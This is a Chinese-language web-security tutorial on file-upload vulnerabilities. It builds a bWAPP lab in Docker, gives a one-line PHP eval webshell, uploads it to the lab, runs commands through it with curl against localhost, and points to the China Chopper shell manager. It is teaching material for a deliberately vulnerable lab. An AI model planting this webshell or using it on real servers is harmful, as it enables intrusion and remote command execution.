原文链接:Web安全(一)文件上传漏洞[一]
文件上传漏洞概述
文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、改头像、分享图片等。文件上传漏洞是在开发者没有做充足验证(包括前端,后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者Webshell等。
实验环境搭建
下载并安装docker
进入www.docker.com根据系统下载对应docker。
选Decker Desktop
开启Hyper-V
下载完后正常安装即可,打开cmd输入docker -v检测安装是否成功
全面加速
对于使用Windows 10的系统,在系统右下角托盘Docker图标内快捷菜单选择设置,打开配置窗口后导航菜单选择Docker Engine。在Registrymirrors中添加一个加速器地址https://registry.docker-cn.com,之后点击Apply保存后Docker就会重启并应用配置的多个地址了。
启动Docker
在cmd输入并执行以下命令
- docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
复制代码
- docker run -d -p 0.0.0.0:8080:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
复制代码
注:若出现以下端口被占用的报错,可修改8080为其他可用端口。(下图为使用80:80的报错)
打开浏览器访问127.0.0.1:8080/install.php,点击hear生成数据库,再点击注册新用户(注意不需要勾选E-mail activation),注册完登录即可。
下次启动docker环境在下图点击启动即可
编辑木马文件并上传
eval函数
eval( string $code) 把字符串 code 作为PHP代码执行。函数eval()语言结构允许执行任意 PHP 代码。code为 需要被执行的字符串 。 代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。
PHP一句话木马
- <?php @eval($_POST['hacker']); ?>
复制代码
新建文本文件写入PHP一句话木马,并将txt后缀改为php.
上传PHP文件
登录后选择Unrestricted File Upload,文件上传漏洞上传文件,上传后可以看到路径为http://127.0.0.1:8080/images/shell.php
webshell执行命令
在cmd执行
- curl -d "hacker=echo get_current_user();" http://127.0.0.1:8080/images/shell.php
- curl -d "hacker=echo getcwd();" http://127.0.0.1:8080/images/shell.php
复制代码
get_current_user — 获取当前 PHP 脚本所有者名称
getcwd — 取得当前工作目录。
使用中国菜刀连接
下载链接:https://github.com/raddyfiy/caidao-official-version
打开软件后,右键添加SHELL连接即可。
不同语言一句话木马
|